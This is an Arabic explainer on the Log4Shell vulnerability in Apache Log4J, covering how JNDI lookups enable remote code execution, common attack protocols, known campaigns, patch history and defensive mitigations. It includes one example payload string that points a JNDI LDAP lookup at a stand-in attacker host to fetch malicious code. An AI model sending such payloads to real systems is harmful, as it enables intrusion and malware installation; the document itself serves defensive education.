ما هو Log4Shell؟

Log4Shell—معرّف الثغرات والتعرّضات الشائعة CVE: CVE-2021-44228—حصل على درجة 10 في نظام تقييم الثغرات الأمنية الشائعة (CVSS)، مما يشير إلى ثغرة أمنية حرجة. يعتبر واحًدا من أخطر الثغرات الأمنية على الإطلاق بسبب انتشاره الواسع وعواقبه المدمرة المحتملة.

تشير التقديرات إلى أن حوالي 10 بالمائة من جميع الأصول الرقمية — بما في ذلك تطبيقات الويب والخدمات السحابية والنقاط الطرفية المادية مثل الخوادم—كانت عرضة لثغرة Log4Shell وقت اكتشافها. يمكن للمخترقين استخدام Log4Shell للقيام بأي شيء تقريبًا: سرقة البيانات (النقل غير المصرح للبيانات)، وتثبيت برامج الفدية، والسيطرة على الأجهزة لصالح شبكات الروبوتات وغير ذلك الكثير.

اكتشف باحثو أمن السحابة Log4Shell لأول مرة في نوفمبر 2021. أصدرت Apache تصحيحًا في ديسمبر 2021، وجميع إصدارات Log4J بدءًا من 2.17.1 فصاعدًا خالية من ثغرة Log4Shell والثغرات الأمنية المرتبطة بها. ومع ذلك ، أفادت وكالة الأمن السيبراني وأمن البنية التحتية (CISA) أن Log4Shell لا يزال من بين الثغرات الأمنية الأكثر استغلالًا. Log4J منتشر على نطاق واسع في سلسلة توريد البرمجيات، لذا فإن العثور على كل نسخة ضعيفة وإصلاحها قد يستغرق سنوات.

في هذه الأثناء، يمكن لفرق الأمن اتخاذ خطوات أخرى لتقليل انكشاف الشبكة، والتي ستناقش بتفصيل أكبر أدناه.

تؤثر ثغرة Log4Shell على Log4J، وهي مكتبة تسجيل مفتوحة المصدر تديرها مؤسسة Apache Software Foundation. Log4J هو مُسجِّل، وهو مُكوِّن برمجي يُسجِّل المعلومات والأحداث في برنامج، مثل رسائل الخطأ ومدخلات المستخدم.

Log4J ليس برنامجًا مستقلًا ولكنه حزمة من التعليمات البرمجية التي يمكن للمطورين إدخالها في تطبيقات Java الخاصة بهم بدلاً من إنشاء أدوات تسجيل من البداية. تستخدم المؤسسات الكبرى —بما في ذلك Apple و Twitter و Amazon و Microsoft و Cloudflare و Cisco وغيرها الكثير — Log4J في برامجها وخدماتها.

ينتج ثغرة Log4Shell من الطريقة التي تتعامل بها الإصدارات الضعيفة من Log4J مع ميزتين مرتبطتين: عمليات بحث واجهة Java Naming and Directory Interface (JNDI) واستبدال عمليات بحث الرسائل. ستكون كل ميزة بمفردها غير ضارة، لكن التفاعل بينها يمنح المتسللين سلاحًا قويًا.

JNDI هي واجهة برمجة تطبيقات (API) تستخدمها تطبيقات Java للوصول إلى الموارد المستضافة على خوادم خارجية. عملية بحث JNDI هي أمر يوجه التطبيق للذهاب إلى خادم وتنزيل كائن محدد، مثل جزء من البيانات أو برنامج نصي. تعمل الإصدارات الأقدم من Log4J 2 تلقائيًا على تشغيل أي شيفرة يتم تنزيلها بهذه الطريقة.

يسمح استبدال بحث الرسائل للمستخدمين والتطبيقات بإرسال متغيرات إلى Log4J داخل رسائل السجل باستخدام بناء جملة محدد: ${prefix:name}. عندما يواجه Log4J بناء الجملة هذا، فإنه يحل المتغير ويسجل القيمة في السجل. على سبيل المثال، إذا تلقى Log4J رسالة نصها

${java:version}

سيكتشف نسخة Java الحالية التي تعمل على الجهاز. في السجل، سيسجّل: “Java version X.XX.”

بعبارة أخرى، لا يتعامل Log4J مع بدائل البحث عن الرسائل كنص عادي. إنه يعاملهم مثل الأوامر ويتخذ الإجراءات بناءً على ما يقولونه. يمكن للمتسللين استغلال هذه الحقيقة لإرسال أوامر بحث JNDI ضارة إلى التطبيقات التي تعمل بإصدارات ضعيفة من Log4J. على سبيل المثال، يمكن لمخترق إرسال سلسلة مثل هذه إلى Log4J:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

عندما يتلقى Log4J هذه الرسالة، فإنه يحل المتغير عن طريق الاتصال بالخادم على myevilwebsite.biz وتنزيل الكائن الموجود في /maliciouscode. ستؤدي هذه العملية إلى قيام Log4J بتنفيذ أي كود Java قام المخترق بتخزينه في هذا الموقع، وعادةً ما يكون برنامج ضار.

يمكن للمتسللين استخدام بروتوكولات قياسية لتشغيل ثغرة Log4Shell، مما يجعل من السهل على حركة المرور الضارة الإفلات من الاكتشاف. تستخدم معظم هجمات Log4Shell أحد البروتوكولات التالية: Lightweight Directory Access Protocol (LDAP)؛ Remote Method Invocation (RMI؛ أو نظام اسم النطاق (DNS).

يتم استخدام LDAP لتخزين البيانات في موقع مركزي حيث يمكن للتطبيقات والخدمات المختلفة الوصول إليها. LDAP هي الطريقة الأكثر شيوعًا التي يستخدمها المخترقون لاستغلال Log4Shell. يعمل الهجوم النموذجي على النحو التالي:

• يقوم المتسلل بإعداد خادم LDAP وتخزين التعليمات البرمجية الخبيثة عليه.
  
  
• يرسل المتسلل بحثًا عن JNDI إلى برنامج يستخدم Log4J.
  
  
• يتسبب بحث JNDI في وصول البرنامج إلى خادم LDAP الخاص بالمتسلل وتنزيل الحمولة وتنفيذ التعليمات البرمجية.

RMI هي ميزة Java التي تمكّن تطبيقًا على جهاز ما من إخبار تطبيق على جهاز آخر للقيام بشيء ما، مثل مشاركة المعلومات أو أداء وظيفة ما.

تعمل هجمات RMI تقريبا بنفس طريقة هجمات LDAP: يقوم المتسللون بإعداد خادم RMI، وخداع الهدف للاتصال بالخادم الخاص بهم، وإرسال أوامر ضارة مرة أخرى إلى الهدف.

ليست هجمات RMI شائعة جدًا، ولكن بعض المتسللين يتحولون إلى RMI لأن المزيد من المؤسسات تحظر حركة مرور LDAP تمامًا.

يستخدم المتسللون نظام أسماء النطاقات (DNS) لاستكشاف الأهداف. يرسلون بحثًا عن JNDI إلى برنامج، ويطلبون منه الاتصال بخادم DNS يتحكم فيه المتسللون. إذا قام خادم DNS بتسجيل اتصال من البرنامج، فإن المتسللين يعلمون أن النظام عرضة لمزيد من محاولات استغلال Log4Shell.

نظرا لأن Log4Shell يسمح للمتسللين بتشغيل تعليمات برمجية عشوائية، يمكن للمجرمين الإلكترونيين استخدام الخلل لشن مجموعة متنوعة من الهجمات. كان Log4Shell أيضًا بمثابة ثغرة أمنية فورية في وقت اكتشافه، مما يعني أن المتسللين كان لديهم القدرة على استغلاله.

أصابت بعض هجمات Log4Shell الأولى أجهزة الكمبيوتر ببرامج تعدين العملات المشفرة الخفية، وهي نوع من البرامج الضارة التي تستخدم جهازًا لتعدين العملات المشفرة دون علم المالك. استخدمت Mirai botnet أيضًا الخلل للسيطرة على الأجهزة.

تم استغلال Log4Shell في شن العديد من هجمات برامج الفدية. ومن أبرزها سلالة Khonsari ، التي انتشرت عبر لعبة الفيديو Minecraft، و NightSky، التي استهدفت الأنظمة التي تعمل بنظام VMware Horizon.

استخدم وسطاء الوصول ثغرة Log4Shell لإنشاء موطئ قدم في شبكات الشركات القيّمة، وذلك غالبًا عن طريق التثبيت السري لأحصنة طروادة للوصول عن بُعد (RATs) على الأنظمة المخترقة. فضلًا: يبيع وسطاء الوصول بعد ذلك هذه المواقع المنخفضة إلى منتسبي برامج الفدية كخدمة أو متسللين آخرين على الشبكة الخفية.

عندما عملت Apache على تصحيح Log4Shell بعد اكتشافه، ظهرت مجموعة من العيوب ذات الصلة. في النهاية، استغرق الأمر أربعة تصحيحات لإصلاح Log4Shell وجميع الثغرات الأمنية المرتبطة به تمامًا.

أغلق أول تصحيح أصدرته Apache، وهو الإصدار 2.15.0 من Log4J، جزءًا كبيرًا من ثغرة Log4Shell الأمنية. ومع ذلك، لا يزال بإمكان المتسللين إرسال عمليات بحث JNDI الضارة إلى الأنظمة التي تستخدم إعدادات معينة غير افتراضية. عالجت Apache هذا الخلل مع الإصدار 2.16.0 من Log4J.

تبين أيضا أن الإصدار 2.16.0 غير مكتمل. يمكن للمتسللين استخدام عمليات بحث عن رسائل ضارة لإرسال أنظمة ضعيفة إلى عمليات استدعاء ذاتية لا نهائية، مما يؤدي إلى هجمات حجب الخدمة. أصدرت Apache الإصدار 2.17 لإصلاح هذا الخلل.

أقل حدة من غيره، سمح هذا الخلل للمتسللين بتنفيذ تعليمات برمجية عن بُعد، لكنهم احتاجوا أولاً إلى الحصول على صلاحيات مرتفعة وتغيير إعدادات السجلات. عالجت Apache هذا الخلل من خلال التصحيح الرابع، وهو الإصدار 2.17.1 من Log4J.

يوصي الباحثون الأمنيون بشدة أن تعطي المؤسسات الأولوية لتحديث جميع مثيلات Log4J في شبكاتها إلى أحدث إصدار، أو على الأقل الإصدار 2.17.1. التصحيح هو الطريقة الوحيدة لإصلاح Log4Shell بشكل كامل.

ومع ذلك، قد لا تتمكن فرق الأمان من تصحيح جميع مثيلات Log4J في شبكاتها على الفور. غالبًا ما توجد تثبيتات Log4J الضعيفة كتبعيات غير مباشرة، وهذا يعني أن أصول الشركة لا تستخدم Log4J، لكنها تعتمد على تطبيقات وخدمات أخرى تستخدمها. وفقا لـ Google، فإن مثيلات Log4J الأكثر عرضة للخطر يبلغ عمقها أكثر من مستوى واحد، وبعضها يصل إلى عمق تسعة مستويات.

عندما يكون Log4J تبعية غير مباشرة، يصبح من الصعب على فرق الأمان تحديد موقعه. عندما يجدونه، قد لا يتمكنون من تصحيحه، اعتمادًا على مكان وجوده. إذا دُفِنَت ثغرة Log4J في حزمة برمجية تستخدمها جهة خارجية، فسيحتاج فريق الأمان إلى أن يقوم المورّد بتحديث Log4J من جانبه.

حتى عندما يكون Log4J موجودًا كتابع مباشر، قد يصعب اكتشافه. عملية تطوير البرامج معقدة للغاية اليوم، حيث تعتمد على فرق كبيرة ومصفوفات واسعة من التعليمات البرمجية الموجودة مسبقًا. قد لا يدرك المطورون أن تطبيقاتهم تحتوي على إصدارات ضعيفة من Log4J، حيث قد تكون هذه الحالات متعمقة داخل حزم برامج مكتوبة مسبقًا لم يقم المطورون ببرمجتها بأنفسهم.

اعتبارًا من ديسمبر 2022، كانت 25 بالمائة من تنزيلات Log4J لا تزال عرضة لثغرة Log4Shell، مما يعني أن الأشخاص يستخدمون إصدارات قديمة من Log4J لإنشاء أصول جديدة.

يتم استخدام Log4J على نطاق واسع في سلسلة توريد البرامج لدرجة أن العثور على كل حالة معرضة للخطر وإصلاحها سيستغرق عقدًا من الزمن على الأقل، وفقًا لوزارة الأمن الداخلي الأمريكية.

في هذه الأثناء، يمكن لفرق الأمن اتخاذ خطوات أخرى لتقليل انكشاف الشبكة.

يمكن لفرق الأمن منع استبدال عمليات البحث عن الرسائل في Log4J، وبذلك يجعلون Log4J يعامل رسائل المتسللين كنصوص عادية بدلاً من أوامر للتنفيذ.

هناك طريقتان لفعل هذا: عن طريق تغيير "Log4J2.formatMsgNoLookups". تغيير خاصية النظام إلى "true" أو تعيين قيمة متغير بيئة LOG4J_FORMAT_MSG_NO_LOOKUPS إلى "true".

لاحظ أن الإصدارات غير المُرقعة من Log4J لا تزال تعاني من الثغرة الأمنية CVE-2021-45046، والتي تسمح للمتسللين بإرسال عمليات بحث JNDI ضارة عند استخدام إعدادات معينة غير افتراضية. وبالتالي، فإن حظر البحث عن الرسائل ليس مضمونًا.

تستخدم تطبيقات Java الفئات لتحديد ما يمكن للبرنامج القيام به. في Log4J، تتحكم فئة "JNDIlookup" في عمليات بحث JNDI. إذا تمت إزالة هذه الفئة من دليل الفئات Log4J—المعروف أيضا باسم مسار الفئات —فلا يمكن إجراء عمليات بحث JNDI.

منع عمليات بحث JNDI يمنع المتسللين من إرسال أوامر ضارة، ولكنه قد يؤثر أيضًا على وظائف أخرى في Log4J والتطبيقات التي تستخدمه. قد يكون من الصعب أيضًا التأكد من إزالة كل مثيل للفئة.

يمكن للمؤسسات استخدام جدران الحماية وأدوات الأمن السيبراني الأخرى لحظر تدفق البيانات من الأصول المعرضة للخطر المتصلة بالإنترنت إلى الخوادم التي يسيطر عليها المتسللون. على سبيل المثال، يمكن لفرق الأمان تعيين قواعد لعدم السماح بجميع الاتصالات باستخدام بروتوكولات LDAP أو RMI.

حظر حركة المرور الصادرة بدلاً من حركة المرور الواردة يساعد في تجنب النتائج الإيجابية الخاطئة، حيث قد يقوم البائعون والباحثون الأمنيون بفحص الأصول للعثور على الحالات المستمرة وغير المصححة.

الجانب السلبي هو أن جدران الحماية يمكن أن تمنع أو تحبط الاتصالات الصادرة الضرورية، خاصة إذا كانت المؤسسة تستخدم LDAP أو RMI لأسباب مشروعة.